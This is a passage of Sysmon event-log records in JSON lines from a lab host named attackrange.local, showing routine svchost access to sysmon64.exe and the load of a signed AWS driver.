11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1226,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":6,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":6,"OpcodeValue":0,"RecordNumber":1227,"ProcessID":2736,"ThreadID":3284,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Driver loaded:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:37.328\r\nImageLoaded: C:\\Windows\\System32\\drivers\\xeniface.sys\r\nHashes: MD5=F1A750612F0ED79D435FA3D149331D69,SHA256=7416108B01624EBC62D5E200818D2A0AD08B8B87D13F65FDA716F7E7358C1CB1,IMPHASH=B7B4CB7750B42CE3E3BD994E129A5D9A\r\nSigned: true\r\nSignature: Amazon Web Services, Inc.\r\nSignatureStatus: Valid","Category":"Driver loaded (rule: DriverLoad)","Opcode":"Info","UtcTime":"2020-08-07 11:49:37.328","ImageLoaded":"C:\\Windows\\System32\\drivers\\xeniface.sys","Hashes":"MD5=F1A750612F0ED79D435FA3D149331D69,SHA256=7416108B01624EBC62D5E200818D2A0AD08B8B87D13F65FDA716F7E7358C1CB1,IMPHASH=B7B4CB7750B42CE3E3BD994E129A5D9A","Signed":"true","Signature":"Amazon Web Services, Inc.","SignatureStatus":"Valid","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1228,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1229,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1230,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1231,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1232,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1233,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1234,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: 